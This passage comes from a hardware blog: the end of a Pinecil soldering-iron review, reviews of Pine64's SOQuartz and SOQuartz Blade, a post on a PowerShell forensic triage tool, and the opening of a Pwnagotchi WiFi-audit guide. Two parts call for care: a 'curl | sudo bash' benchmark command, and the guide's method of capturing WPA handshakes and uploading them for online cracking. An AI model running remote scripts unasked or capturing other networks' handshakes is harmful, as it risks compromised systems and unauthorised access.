writing. If you have the latest version you don’t have to update. You need to use Linux to update the firmware at time of writing. There is a tool for Windows and Mac OS X available here but it currently only supports the Pinecil V1 (thanks Max for letting me know this in the comments). For now a Linux PC needs to be used for flashing firmware updates but I’m sure this will change over the next few months as tools are updated for the new version. EDIT 2/10/2023: Max has shared even more valuable information that there is now a build of blisp.exe available for Windows which should allow you to flash the Pinecil from Windows. Check here for instructions! Download the latest Pinecilv2.zip file from the GitHub page linked above and extract it. Now we need to build the tool to flash the firmware: git clone --recursive https://github.com/pine64/blisp.git cd blisp mkdir build && cd build cmake -DBLISP_BUILD_CLI=ON .. cmake --build . cd tools/blisp Assuming the build succeeded you can now flash the update with: sudo ./blisp write --chip bl70x --reset Pinecilv2_EN.bin Pros / Cons Pros Very lightweight and easy to handle Heats up to temperature in about 10 seconds Accepts a wide variety of power sources including batteries Cons Firmware update tools are only available for Linux (and still in development so documentation is limited) Conclusion Overall I’d highly recommend the device. I love that the device uses a RISC-V chip internally and that the firmware on the device can be updated. It’s really good to have a mini soldering iron and I wish I had one a long time ago as it’s much easier to use for things like soldering headers for single board computers where the pins are sometimes really close together. I find I’m much less shaky when soldering and I think that’s both due to how light the device is as well as the nice grip on the device keeping it nice and steady. My device that I ordered on January 27th (from Amazon) came with the latest firmware that was only released in December. This means that you likely will not have to deal with updating the firmware right when you get the device. Hopefully by the time you need to the flashing tools will be more fleshed out and better documented. I really wouldn’t be too concerned about this issue as by the time there are significant updates available the tools to update it will have improved. There are some upgrades I’d like to do in the future such as get a compatible battery for the Pinecil. It can accept these and is designed to work with them as I covered in the usage section. I’d also like to get some additional ts100 tips to try with the device. I’m really happy that my first solder attempt with the tool turned out without any bridges. My much larger tool I would definitely have had a bridge or two to deal with. I highly recommend it for anyone looking for a really compact and portable soldering iron that heats up very quickly and has a lot of additional configurable features to fine tune your soldering. Other Resources Another handy tool is the wowStick electronic screwdriver which I’ve covered here A great dust removal tool is the DataVac ED500 which I have a review for here You can see the rest of my RISC-V related articles here #### Pine64 SOQuartz Blade Review Pine64 SOQuartz Blade Review I’ve previously reviewed the Pine64 SOQuartz here on the site and found that if you used Armbian it was a feasible alternative to the CM4. The compatibility with other IO boards varies wildly though. We’ve definitely seen mixed experiences using the CM4 Blade when using the SOQuartz for example. I was curious if I got a hold of one of the official Pine64 SOQuartz Blade boards if the experience would be better. Today we will review the Pine64 SOQuartz Blade IO board and see how well things are working at time of writing. Let’s begin! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityTesting the BladePerformance BenchmarkingPros / ConsProsConsConclusionOther Resources Hardware Used Pine64 SOQuartz The Pine64 SOQuartz has a 1.8GHz ARM Cortex-A55 processor as well as a Mali-G52 Bifrost GPU. Onboard ram is LPDDR4 and has variants of 2GB, 4GB and 8GB available. Links: Pine64.com, Amazon.com*, AliExpress.com* Pine64 SOQuartz Blade The Pine64 SOQuartz Blade is an official Pine64 expansion board meant to provide a 1U compatible Blade-size I/O board (very useful for data centers as well as clusters). Links: Pine64.com, Amazon.com* Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* Specifications These are from the Pine64 wiki page here. SOQuartz BLADE Baseboard Dimensions: 200mm x 40mm x 15mm Input Power: DC 12V @ 3A 3.4OD/1.3ID (IEC 60130-10 Type E) Barrel DC Jack connector PoE Storage microSD – bootable, support SDHC and SDXC, storage up to 2TB USB – USB2.0 Host port (with header for setting OTG ID pin) Expansion Ports 2×20 pins “Pi2” GPIO Header M.2 slot PWM fan header Jumpers OTG ID jumper GPIO voltage, select 3.3V or 1.8V PoE Enable Build Quality Let’s start with the packaging. The blade ships in a clear hard shell like this: Pine64 SOQuartz Blade Packaging Everything is wrapped in an anti-static bag. I’ve mentioned it before in my other reviews but I’m really happy to see all of the manufacturers moving away from shipping these in little boxes like Raspberry Pis used to/still are. They always got crushed. This will make it to you intact. Now let’s take a look at the blade itself: Pine64 SOQuartz Blade – Top View Here you can see where we mount the M.2 NVMe drive. We can also see a jumper labeled USB_OTG_ID. There’s a fan connector on the right hand side of the blade as well as a HDMI port. SD Card slot, UART and a USB 2.0 port are on the left as well as the PoE Ethernet port. Now let’s look at the bottom of the board: Pine64 SOQuartz Blade – Bottom View As you can see there isn’t much to see on the bottom here. It’s well built and sturdy like all Pine64 devices I’ve used. Testing the Blade I first prepared a SD card on it with the Armbian image available from the Pine64 wiki here. Next I took the SD card and put it in the Pine64 Blade. I connected the HDMI as well as a keyboard and then plugged in a network cable connected to a PoE port to see of it would power itself purely from the Ethernet connection. Here was the result: Pine64 SOQuartz Blade – First Boot Excellent, no power cords! Everything worked the first try. The WiFi is working but you must have the external antenna attached like I do in the picture. It won’t work well without it. I went through the initial Armbian configuration and finally it’s time to test some NVMe performance with the SOQuartz! Performance Benchmarking You can verify the performance of your SSD on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 377.76 MB/s HDParm Cached Disk Read 371.45 MB/s DD Disk Write 144 MB/s FIO 4k random read 33684 IOPS (134736 KB/s) FIO 4k random write 7064 IOPS (28258 KB/s) IOZone 4k read 83772 KB/s IOZone 4k write 39826 KB/s IOZone 4k random read 43358 KB/s IOZone 4k random write 80605 KB/s Score: 14,559 The full Pine64 SOQuartz Blade benchmark can be viewed here on Pi Benchmarks. This is PCIe 2.0 performance we are seeing out of the drive. This gives excellent speeds and is using true NVMe! It’s not PCIe 3.0 performance but I definitely would not expect that at the price point of the SOQuartz (which the CM4 it’s competing against doesn’t do PCIe 3.0 either). One of the few ways I know of to get PCIe 3.0 performance in the single board computer world right now is to jump up to a Rock 5B. Pros / Cons Pros Only costs $29 Supports PoE (power over ethernet) Supports NVMe and has a dedicated M.2 slot with mounting sizes 2230-2280 Cons Image support continues to be lacking while Pine64 works toward mainline kernel support (use Armbian in the mean time) Conclusion It’s not clear to me how much the kickstarter Blade is even going to cost or when it’s going to be more generally available. If this is already available to buy somewhere I apologize but I legitimately couldn’t find where to get one (or anyone selling one on eBay or anything like that). EDIT 2/11/2022: This has since been made clear to me. It will be about $64 for the basic version at time of writing. The full kickstarter page can be viewed here for more details. There are different packages available for the kickstarter project intended for the CM4. This product however is very real. You can buy it today for $29.99 from Pine64. I definitely recommend pairing it with the SOQuartz if you get one. I haven’t tested it with the CM4 yet to see if everything works properly but I will do that in a future article. I’d be surprised if the kickstarter CM4 board doesn’t cost more than the Pine64 SOQuartz + Blade combined. I really like that I can use this without having to use up any of my power adapters or AC plug spots or anything else. I have plenty of PoE-enabled network ports around so it’s very likely I’ll continue to use the Pine64 Blade in a setup like this as a server. I may buy a larger NVMe drive to put in there like a Crucial P3 4TB drive* and make it a storage server. If you are investigating wanting to use one for a server or multiple of these for a cluster I’d definitely recommend picking up a Blade + SOQuartz and seeing if it may serve your use case. I’ve had great experiences with Pine64 with my Pinecil as well as this blade and they make a lot of other cool stuff / are a great company. The software/image support is lacking but they themselves will tell you that (and they do if you read through their wiki pages) as they are working toward mainline kernel support. That will be a glorious day for the SOQuartz and other boards they are working toward this goal for once it’s ready (and from the wiki tracker they’ve made significant progress but you can see some things still need porting such as the fan driver). Therefore I do not recommend this for absolute beginners at this time as the image support is limited. In other words it’s still a bit early to buy in so I recommend it for developers or experienced users mostly. A lot of you out there that might be waiting or trying to get your hands on that other blade are probably more than qualified to make this work as well as I have here. If you have enough experience to be working with the Compute Module 4 though realistically you’ll probably be fine using Armbian with it. Armbian still seems to be the best choice to use with the SOQuartz (especially for people just starting out with the board) but there are other options like the Manjaro (requires USB to TTY serial console). I’d definitely recommend trying it for anyone who is comfortable with compute modules (and using a USB to TTY serial console) and has a use case for a blade setup like this! Other Resources Don’t miss my Pine64 SOQuartz review here I’ve also reviewed the Pinecil soldering iron from Pine64 here #### Pine64 SOQuartz CM4 Alternative Review Pine64 SOQuartz CM4 Alternative Review I recently reviewed the BIGTREETECH CB1 alternative to the Compute Module 4 and I was very surprised how well it worked with my existing I/O boards. Today we’re going to review my second one which is the Pine64 SOQuartz V1.1 module. This module features 2GB of RAM (with 4GB and 8GB options available). With twice as much RAM (or more) the hardware at least has the potential to outperform the CB1. We will run the same benchmarking tool using the same SD card to get a direct I/O performance comparison between the CB1 and the SOQuartz. We’ll compare BIGTREETECH’s open-sourced kernel and image offerings to Pine64s and test the CM4 reference I/O board for compatibility. I was comfortable recommending the CB1 as an alternative to the CM4 (as long as running Raspbian isn’t necessary). Will the Pine64 SOQuartz get a similar recommendation? Let’s find out! Table of Contents Toggle Hardware UsedSpecificationsBuild QualityImages AvailableTesting Reference Board w/ Available ImagesManjaro with Reference BoardDietPi with Reference BoardArmbian with Reference BoardBenchmarking I/O PerformancePros / ConsProsConsConclusionOther Resources Hardware Used Pine64 SOQuartz The Pine64 SOQuartz has a 1.8GHz ARM Cortex-A55 processor as well as a Mali-G52 Bifrost GPU. Onboard ram is LPDDR4 and has variants of 2GB, 4GB and 8GB available. Links: Pine64.com Geekworm Copper Heat Sink Set The Geekworm copper heat sink set is designed to fit many different single board computers. It uses thermal conductive adhesive which many “cheap” heat sink kits for SBCs don’t have. Eliminates hot spots and reduces throttling. Can be further enhanced by powered cooling over the heat sinks. Links: Amazon.com*, Amazon.ca*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it* The heatsink kit applied to this board looks like this: Pine64 SOQuartz – Geekworm Heat Sink Kit Applied Specifications Quad-core ARM Cortex-A55@1.8GHz AArch32 for full backwards compatibility with ARMv7 Mali-G52 2EE Bifrost GPU@800MHz Supports OpenGL ES 1.1, 2.0, and 3.2 Supports Vulkan 1.0 and 1.1 Supports OpenCL 2.0 Full Profile Neural Process Unit (NPU) capability with processing performance of up to 0.8 TOPS RAM Memory Variants: 2GB, 4GB, 8GB (LPDDR4) Storage Memory: optional 128Mb SPI Flash and optional eMMC module (16GB up to 128GB) WiFi 802.11 b/g/n/ac Bluetooth 5.0 Comparing these specifications to the CB1 we can see that this is much more powerful with a 1.8GHz CPU vs. a 1.5GHz CPU on the CB1 respectively. The GPU is much more powerful as well. The RAM is LPDDR4 instead of DDR3. Build Quality The build quality for the board is decent. It’s nothing spectacular but the traces are easily visible. I do have some unusually messy solder in the top right of the board. Here’s the top view: Pine64 SOQuartz – Top View And the bottom view: Pine64 SOQuartz – Bottom View On the right hand side of the bottom view you can see 3 droplet looking spots that almost look wet. These clearly don’t belong there. I was able to scrape these off with my fingernail completely so it wasn’t much of an issue but if get one of these and have something similar try just scraping it off with your fingernail. The good news is the board feels very solid. Everything is very securely soldered to the board and it doesn’t feel flimsy or cheap. It’s actually very solid and doesn’t have very much flex which feels reassuring / comforting when mounting and unmounting from I/O boards. Images Available Like the CB1 the image selection available is pretty slim pickings. There is no Raspbian / Raspberry Pi OS image available. The official image download page is available here on their Wiki. At time of writing it consisted of: Manjaro ARM image (many different desktop flavors) Armbian image (not official, made by another user) that features kernel 5.19.7 as well pgwipeout’s Quartz CI Custom Debian image from user PBXForums To explain why the image offering is so poor Pine64 says they are working toward mainline kernel support. This means they are trying to get all of the drivers necessary for the board inside the Linux kernel so that all distributions would support the board instead of having a small number of distributions that have a bunch of custom drivers to make it work. They have not reached this goal yet. One new option available that I didn’t see on their wiki is that DietPi recently added support for the SOQuartz. Testing Reference Board w/ Available Images Manjaro with Reference Board First up is the official reference board for the Compute Module 4. I wrote the Gnome desktop image to my SD card and fired everything up. Nothing. No Ethernet and my display is giving me an error saying that it was outputting a very low resolution out of range of the display. It was time to hook up the USB to serial console so I could see what was happening: Pine64 SOQuartz – USB to Serial Connection w/ Laptop It just looked like Manjaro was trying to boot and then nothing happened: Model: Pine64 RK3566 Quartz64-B Board Net: No ethernet found. Hit any key to stop autoboot: 0 switch to partitions #0, OK mmc1 is current device Scanning mmc 1:1... Found /extlinux/extlinux.conf Retrieving file: /extlinux/extlinux.conf 1: Manjaro ARM Retrieving file: /initramfs-linux.img Retrieving file: /Image append: initrd=/initramfs-linux.img console=ttyS2,1500000 earlycon=uart8250,mmis Retrieving file: /dtbs/rockchip/rk3566-soquartz-cm4.dtb Moving Image from 0x2080000 to 0x2200000, end=3a90000 ## Flattened Device Tree blob at 0a100000 Booting using the fdt blob at 0xa100000 Loading Ramdisk to 7d6c4000, end 7deec391 ... OK Loading Device Tree to 000000007d6a6000, end 000000007d6c3503 ... OK Starting kernel ... :: running early hook [udev] Starting version 251.6-2-arch :: running early hook [plymouth] What is supposed to happen is I’m supposed to be taken to a prompt where I have to set everything up (in the serial console). This did not happen. Perhaps I needed to make more dtb modifications to get the reference board to work? I think not. That’s a fail. Why am I having to use the serial console to log in for the first time? Why can’t it output the correct resolution to my HDMI screen so I can just do it with a keyboard? What are they thinking? It’s time to move onto another image as we still have DietPi and the unofficial Armbian image. DietPi with Reference Board Let’s try a newer flavor that isn’t even on the official wiki yet. I’m going to try the DietPi image I linked to in the images section earlier. I downloaded the latest image and wrote it to the SD card. I had the USB to serial adapter all connected to see what happened: U-Boot 2017.09 (Jul 15 2022 - 09:39:12 +0000) Model: Pine64 RK3566 Quartz64 Board PreSerial: 2, raw, 0xfe660000 DRAM: 2 GiB Sysmem: init Relocation Offset: 7d39f000, fdt: 7b9f9f78 no mmc device at slot 1 dwmmc@fe2b0000: 1 (SD), dwmmc@fe2c0000: 2, sdhci@fe310000: 0 Bootdev(atags): mmc 1 MMC1: Legacy, 50Mhz PartType: EFI No misc partition boot mode: None FIT: No boot partition No resource partition Failed to load DTB Failed to get kernel dtb, ret=-19 io-domain: OK ** Invalid partition 3 ** Using default environment Model: Pine64 RK3566 Quartz64 Board rockchip_set_serialno: could not find efuse/otp device CLK: (sync kernel. arm: enter 816000 KHz, init 816000 KHz, kernel 0N/A) apll 816000 KHz dpll 528000 KHz gpll 1188000 KHz cpll 1000000 KHz npll 24000 KHz vpll 24000 KHz hpll 24000 KHz ppll 100000 KHz armclk 816000 KHz aclk_bus 150000 KHz pclk_bus 50000 KHz aclk_top_high 300000 KHz aclk_top_low 200000 KHz hclk_top 150000 KHz pclk_top 50000 KHz aclk_perimid 300000 KHz hclk_perimid 150000 KHz pclk_pmu 50000 KHz Net: clk_get_by_name(master_bus) failed: -22eqos_probe_resources() failed: -22No ethernet found. Hit key to stop autoboot('CTRL+C'): 0 ## Booting FIT Image FIT: No boot partition FIT: No FIT image Could not find misc partition ANDROID: reboot reason: "(none)" optee api revision: 2.0 TEEC: Waring: Could not find security partition Not AVB images, AVB skip android_image_load_by_partname: Can't find part: boot Android image load failed Android boot failed, error -1. switch to partitions #0, OK mmc1 is current device Failed to mount ext2 filesystem... ** Unrecognized filesystem type ** Failed to mount ext2 filesystem... ** Unrecognized filesystem type ** MMC error: The cmd index is 0, ret is -110 mmc_init: -110, time 5 starting USB... Bus dwc3@fcc00000: usb maximum-speed not found Register 2000140 NbrPorts 2 Starting the controller USB XHCI 1.10 Bus dwc3@fd000000: usb maximum-speed not found Register 2000140 NbrPorts 2 Starting the controller USB XHCI 1.10 scanning bus dwc3@fcc00000 for devices... 1 USB Device(s) found scanning bus dwc3@fd000000 for devices... 1 USB Device(s) found scanning usb for storage devices... 0 Storage Device(s) found Device 0: unknown device clk_get_by_name(master_bus) failed: -22eqos_probe_resources() failed: -22clk_get_by_name(master_bus). clk_get_by_name(master_bus) failed: -22eqos_probe_resources() failed: -22Config file not found clk_get_by_name(master_bus) failed: -22eqos_probe_resources() failed: -22clk_get_by_name(master_bus). clk_get_by_name(master_bus) failed: -22eqos_probe_resources() failed: -22clk_get_by_name(master_bus). clk_get_by_name(master_bus) failed: -22eqos_probe_resources() failed: -22=> Wow. This is not going anything like the CB1. I literally have not been able to just write an image and get it to boot so far. Armbian maybe? Armbian with Reference Board I was losing patience at this point and beginning to question whether I had a defective module or what on earth could be going on. Can Armbian save the day and verify my sanity and that I indeed know how to write an image to a SD card correctly? Pine64 SOQuartz – Armbian Successful Boot YES! Armbian for the win. This thing does actually work after all. I have display and link lights so this is looking much more promising. USB is working on the reference board here and I’m able to use my wireless (via dongle) keyboard. I fully updated the device with: sudo apt update && sudo apt full-upgrade -y Once the updates were complete I rebooted. I then verified to make sure WiFi and Bluetooth were working (they are). Now that we can finally boot into a working OS let’s see what the board can do performance wise! Benchmarking I/O Performance It’s time for benchmarks! Theoretically this board should outperform the CB1 given the more powerful CPU and LPDDR4 RAM. You can verify the performance of your SD card on Pi Benchmarks using the following command: sudo curl https://raw.githubusercontent.com/TheRemote/PiBenchmarks/master/Storage.sh | sudo bash Here are the results: Category Test Result HDParm Disk Read 22.72 MB/s HDParm Cached Disk Read 22.77 MB/s DD Disk Write 15.8 MB/s FIO 4k random read 2253 IOPS (9014 KB/s) FIO 4k random write 755 IOPS (3021 KB/s) IOZone 4k read 9441 KB/s IOZone 4k write 2198 KB/s IOZone 4k random read 8340 KB/s IOZone 4k random write 3038 KB/s Score: 1,081 The full Pine64 SOQuartz benchmark can be viewed here on Pi Benchmarks. The CB1’s score on the benchmark was 1,070. We outperformed it but honestly by less than I thought we would for sure! I did use the exact same SD card as the CB1 a few days ago. This is a fantastic performance score with I/O performance really similar to a Pi 4. Both the CB1 and the SOQuartz perform very well. To get a Pi that would perform as well as either of these modules would cost you something like 3x-8x roughly than what you can get these modules for easily from most places in the world (as long as you wait the few weeks for shipping). Pros / Cons Pros Easy to order individual modules Price of $35 for the 2GB module is much less expensive than a CM4 in this market Hardware is more powerful than the BIGTREETECH CM1 (as well as having much larger memory selections) Cons Extremely limited image selection due to Pine64 working toward mainline support rather than offering official images Not currently available in many marketplaces like Amazon or AliExpress — you generally need to order directly Conclusion Pine64’s strategy of going for mainline kernel support before having any kind of official image has left it pretty hard for newcomers. The CB1 pretty much “just worked” with everything I threw at it using their official image. I wish I would have tried Armbian with this board first. Definitely don’t waste your time on anything but Armbian. Once you get a working Armbian installation the performance is fantastic. The hardware is quite powerful. I got the least powerful version of the board at 2GB as well since it can go to 4GB/8GB. Hopefully Pine64 is close to getting mainline support finished for this board. I definitely see the power of their dream / vision to have a mainline kernel supported drop-in CM4 replacement. For now you will definitely have to expect to use Armbian until that happens (or more images come along). I think I would still recommend this as a Compute Module 4 alternative as I did the BIGTREETECH CB1! I would just say definitely use Armbian or you will have a bad time. These are available for $35 from the Pine64.com web site (and that is where I ordered mine from, I still don’t see an AliExpress listing). That’s quite a bit more than the CB1 modules but they’re easier to buy individually than the CB1 modules. Other Resources I’ve also reviewed the Pine64 SOQuartz Blade here A great soldering iron by Pine64 is called the Pinecil which I’ve reviewed here See my BIGTREETECH CB1 Review for another CM4 alternative Ubuntu can now run on RISC-V boards like the MangoPi MQ Pro here See all of the rest of my SBC reviews here #### PSEndpointForensics: Fast Windows Triage Without the Noise PSEndpointForensics: Fast Windows Triage Without the Noise When you’re investigating a potentially compromised Windows endpoint, the last thing you need is another tool that dumps endless raw output into a console window and calls it “forensics.” You need the suspicious service that shouldn’t be there. The scheduled task that doesn’t belong. The odd TCP listener waiting for connections. The registry persistence key that explains why malware keeps coming back. Most importantly, you need all of it in one place. That’s exactly why I built PSEndpointForensics. Table of Contents Toggle What It IsThe Seven ViewsNon-default ServicesNon-default Scheduled TasksNon-default ProcessesPersistence RegistryTCP ConnectionsUDP EndpointsTCP ListenersDesign DecisionsGUI Over ConsoleFilter at the SourceNo DependenciesPoint-in-Time SnapshotHow to Use ItGet ItWhat is PSEndpointForensics and who is it for?Does PSEndpointForensics require PowerShell 7 or external dependencies?How does PSEndpointForensics detect persistence mechanisms? What It Is PSEndpointForensics is a PowerShell-based forensic triage tool for live Windows systems. It collects high-value endpoint artifacts and presents them in a clean, tabbed GUI designed for fast investigation. Instead of forcing analysts to run multiple commands, pivot between tools, or sift through thousands of lines of output, it gives you seven focused views of system state. Each one is built built to answer the same question: What on this machine deserves immediate attention? The entire tool lives in a single .ps1 file with no external dependencies. No installers. No PowerShell modules. No NuGet packages. No compatibility headaches. It runs on: Windows PowerShell 5.1 PowerShell 7+ …and relies only on built-in cmdlets and standard .NET Framework assemblies already present on the system. Copy one file. Run it. Start investigating. The Seven Views Non-default Services PSEndpointForensics – Services Tab Every Windows system has dozens (sometimes hundreds) of built-in services. Most of them are boring. They also stop you from seeing what might not be boring. This tab focuses on what matters: services that aren’t part of the normal Windows baseline. Using WMI, PSEndpointForensics enumerates installed services and filters out common Microsoft noise like Windows services, Edge components, and other expected defaults. What remains are the third-party and unusual services that deserve a second look. Each entry includes: Service name Process ID Startup mode Current state Description Full executable path That path is often where the real story begins. Non-default Scheduled Tasks Scheduled tasks remain one of the most common persistence mechanisms used by attackers. This tab surfaces all registered tasks while filtering out the massive amount of default Microsoft Windows and Edge task noise. Instead of drowning in system tasks, you immediately see the tasks that matter. Each entry shows: Task name Task path Author Current state Trigger details Description If something is set to execute later, you’ll find it here. Non-default Processes PSEndpointForensics – Processes Tab Process listings alone rarely tell the full story. Seeing svchost.exe isn’t useful. Seeing a suspicious binary launched from C:\Users\Public\ with a strange command line absolutely is. This tab displays running processes that are not standard Microsoft OS components and enriches them with full command-line resolution using WMI. Each process includes: Name Process ID Company Description Full path Product name Command line The command line is often the difference between “probably fine” and “definitely investigate.” Persistence Registry Registry persistence is where attackers love to hide. This tab focuses on known persistence locations across both HKLM and HKCU, including: Run / RunOnce keys RunOnceEx Group Policy Explorer Run keys Wow6432Node autoruns IFEO debugger hijacks Winlogon persistence Session Manager persistence paths Rather than dumping entire noisy registry branches like Winlogon or Session Manager, the tool only checks persistence-relevant values such as: Shell Userinit BootExecute SetupExecute PendingFileRenameOperations Debugger This dramatically reduces noise and makes suspicious entries stand out immediately. Each entry shows: Hive Full registry path Value name Value data This tab is one of the fastest ways to answer: Why does this keep coming back after reboot? TCP Connections PSEndpointForensics – TCP Tab w/ Resolve DNS This provides a live view of all established TCP connections mapped directly to owning processes. You can immediately see: Local address and port Remote address and port Connection state Owning process Process name The standout feature here is the Resolve DNS button. When clicked, the tool launches asynchronous reverse-DNS lookups for every remote IP and appends the resolved hostname directly into the grid. UDP Endpoints UDP listeners are easy to forget during fast triage. Attackers know that. This tab shows active UDP endpoints along with the owning process while filtering out common system noise. It’s simple, but valuable. Especially when malware decides not to use TCP. TCP Listeners PSEndpointForensics – TCP Listen Tab This tab answers one of the most important triage questions: What is waiting for inbound connections on this machine? It displays every TCP socket in the LISTEN state and maps each port to its owning process. If something is exposing a service, opening a backdoor, or listening when it shouldn’t be you’ll see it here. Design Decisions A few choices were intentional. GUI Over Console Forensic triage is visual. The WinForms DataGridView control allows you to: Sort instantly Resize columns Reorder fields Compare values side-by-side That’s far more useful than watching text scroll past in a terminal and having to filter out the noise. Filter at the Source Most tools dump everything and leave the analyst to clean it up. That’s backwards. PSEndpointForensics removes known-good Windows noise upfront so the unusual stands out immediately. The goal is not completeness. The goal is faster detection and filtering out noise. No Dependencies The tool uses only what already ships with Windows. No installation. No setup. No “works on my machine.” Just run it. Point-in-Time Snapshot The tool captures the system exactly as it exists when launched. That makes it useful for: Before/after comparisons Rapid incident triage Evidence correlation Screenshot-based reporting Sometimes the fastest answer is simply seeing the state of the machine right now. How to Use It Drop the script onto a Windows endpoint, open an elevated PowerShell session, and run: .\PSEndpointForensics.ps1 The console will show progress as each data category loads. Once complete, the GUI opens and presents a consolidated forensic snapshot of the system. On the TCP tab, click Resolve DNS if you want hostname resolution for remote connections. Everything else is collected automatically at launch. Get It The tool is available on GitHub at: https://github.com/TheRemote/PSEndpointForensics What is PSEndpointForensics and who is it for?PSEndpointForensics is a standalone PowerShell utility that accelerates live endpoint triage. It filters out standard Microsoft OS noise and presents a visual WinForms dashboard of suspicious services, scheduled tasks, persistence registry keys, and active network sockets.Does PSEndpointForensics require PowerShell 7 or external dependencies?No, it runs natively on both Windows PowerShell 5.1 and PowerShell 7+. It uses zero external packages, relying entirely on built-in WMI queries, standard cmdlets, and native .NET assemblies.How does PSEndpointForensics detect persistence mechanisms?It scans standard autorun registry locations (Run, RunOnce, Wow6432Node, IFEO) and monitors critical execution values like Shell, Userinit, BootExecute, and PendingFileRenameOperations for third-party executables. #### Pwnagotchi WiFi Audit Tool Build / Guide Pwnagotchi Raspberry Pi Zero W Build A “pwnagotchi” is a device used for wireless security auditing / hacking that captures the handshakes of any WiFi access points in range of the device. These handshakes can later be cracked. How difficult these are to crack depends on how secure the wireless network is. If the network is set up with the latest encryption standards and an extremely secure password (or is using WPA encryption) it can be nearly/essentially impossible. If the password is a common dictionary word it may crack within seconds. It’s common and smart security practice for both enterprises and home users to check what kind of networks are operating within range. It’s common to find devices that are “broadcasting” a wireless access point used to share internet but this is often not intended / authorized. It’s also very common to find devices using extremely insecure passwords that will crack in seconds that are authorized to be on the network but need a more secure password. These are basically backdoors into your home / company and they can go for a long time without being caught when this is never checked for. The “Pwnagotchi” tool automates this process. It will capture anything in range to be easily checked later for extremely insecure hashes (typically using hashcat or there are even online tools to find common hashes which we will cover). This saves a ton of time and can greatly improve your security. Today I’ll cover how to build a pwnagotchi setup as well as the steps to use it. Let’s begin! Table of Contents Toggle DisclaimerHardware UsedBackup BatteryNote: All Pis workAlternative Screen Option (official screen of the project):OverviewBuild InstructionsDownload LocationWrite ImageCreating config.tomlImportant config.toml NoteEnabling WPA-SECAdditional ConfigurationUsageRetrieving Captured HandshakesConclusionAdditional Resources Disclaimer How you configure your pwnagotchi is extremely important and could even get you in legal trouble if you don’t know what you’re doing. Understand that this is a serious tool and you must observe your local laws and regulations and be extremely careful with it. Only use it on your own networks or networks you are authorized to access/audit. Make sure to double and triple check you configure the tool for the correct mode that you intend to operate it. Make sure you whitelist any networks in range that should not be audited. I will cover this in our initial configuration where we will create a whitelist. Hardware Used Raspberry Pi Zero W The Raspberry Pi Zero W is the wireless-capable version of the Pi Zero. It has a much smaller form factor than a full size Pi making it ideal for use in projects that benefit from a very small form factor while having a fully capable Linux PC. Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Inky pHAT e-ink display The Pimoroni Inky pHAT is a e-ink display for the Raspberry Pi. I’ve owned one for several years now and it still works perfectly! There are several color variations available (some of them have a third color, for example my third color it can do is red along with black and white) but availability may vary by country (I couldn’t even find some versions to link to for some countries). These types of displays do not lose their screen contents when the Pi is turned off (even with no power at all). They’re an excellent choice for the Pi! Links: Amazon.com*, AliExpress.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de*, Amazon.es*, Amazon.fr*, Amazon.it*, Amazon.nl*, Amazon.pl*, Amazon.se*, Amazon.sg* Backup Battery You will notice that my Pi Zero W has a battery. This is called a PiSugar device and I’ve covered it here. This essentially gives me a battery that lasts several hours easily without recharging which is more than enough time to cover a significant amount of distance. Note: All Pis work The Pi Zero W specifically is not a requirement (it is recommended and what the original project was developed on/for) but you can alternatively use a Pi 4* or a Pi Zero 2 W* (the prebuilt images work best with the Pi Zero W* but you can use pwnagotchi on any Pi according to the developers). We are in an absolutely terrible Raspberry Pi shortage at time of writing so you may have to take whatever you can get and that will be totally fine. The Pi 4 even has an advantage that it can audit 5 GHz networks (the Pi Zero W doesn’t do 5 GHz). That may be a consideration for some people. If you need 5 GHz capabilities you should use a Pi 4. The Pi Zero 2 W also does *not* do 5 GHz surprisingly (definitely a missed opportunity in my opinion) so you will want a Pi 4 for that. I ended up using the Pi 4 in the back of my car where it didn’t matter that it was a little bigger and I use the Pi Zero for on-foot network audits. Different tools for different jobs but they definitely have their place and all work! The e-ink screen is also optional but it’s *really* cool and it gives you an actual display so you know what it is doing (definitely a much funner experience than seeing nothing or trying to access it remotely). Alternative Screen Option (official screen of the project): Waveshare e-ink display V2 The Waveshare e-ink display is the officially recommended screen for the Pwnagotchi project. This is the newer generation that doesn’t suffer from the same “ghosting” effect the first versions of this screen had. These newer versions of the screen with all the glitches fixed are excellent! Make sure you get the V2 version as the V3 version of the screen is not compatible yet. If you already bought the V3 version there is an imperfect fix here (but probably better than nothing). Links: Amazon.com*, Amazon.ca*, Amazon.com.au*, Amazon.co.jp*, Amazon.co.uk*, Amazon.de* Overview To get an idea of the idea and spirit behind the Pwnagotchi project make sure you read their official intro. It’s worth it. In a nutshell this device will capture WiFi handshakes from any device in range. There are different operating modes where it can be configured to passively collect this information or a more aggressive mode where it will try to communicate with the access points and initiate the handshakes. You can then take these handshakes and use them with a tool like hashcat to attempt to crack them and audit their strength manually or you can utilize Pwnagotchi’s plugins. The plugins available for Pwnagotchi are extremely powerful. For example one of my favorite ones is the “wpa-sec.py” plugin. It will upload all handshakes to a well-known service called the “Distributed WPA PSK auditor“. This means that weak handshakes you’ve detected will automatically have their passwords cracked online by this tool and be presented to you in a list. Here is some several year old data that this plugin collected during some audits: Distributed WPA PSK Auditor Here you can see exactly why this is useful as a security audit tool. Devices with weak passwords that are commonly used will immediately be revealed by a Pwnagotchi with this plugin running. The success rate is not incredibly high (this page had more than some of my other pages which would only have 2-3 revealed passwords per page) but as you can see it’s more than high enough (alarmingly high for residential points especially) to be worth configuring this plugin and checking your network with it for weak links that an attacker will find just as easily if this automated tool is able to collect and crack them that easily with no human intervention. If networks are following appropriate password length and complexity requirements and not using common dictionary words this tool will *not* be able to crack them. That is normal and what you should see. It’s incredibly useful though for revealing devices setup with inappropriate / default credentials in the environment (usually unauthorized or 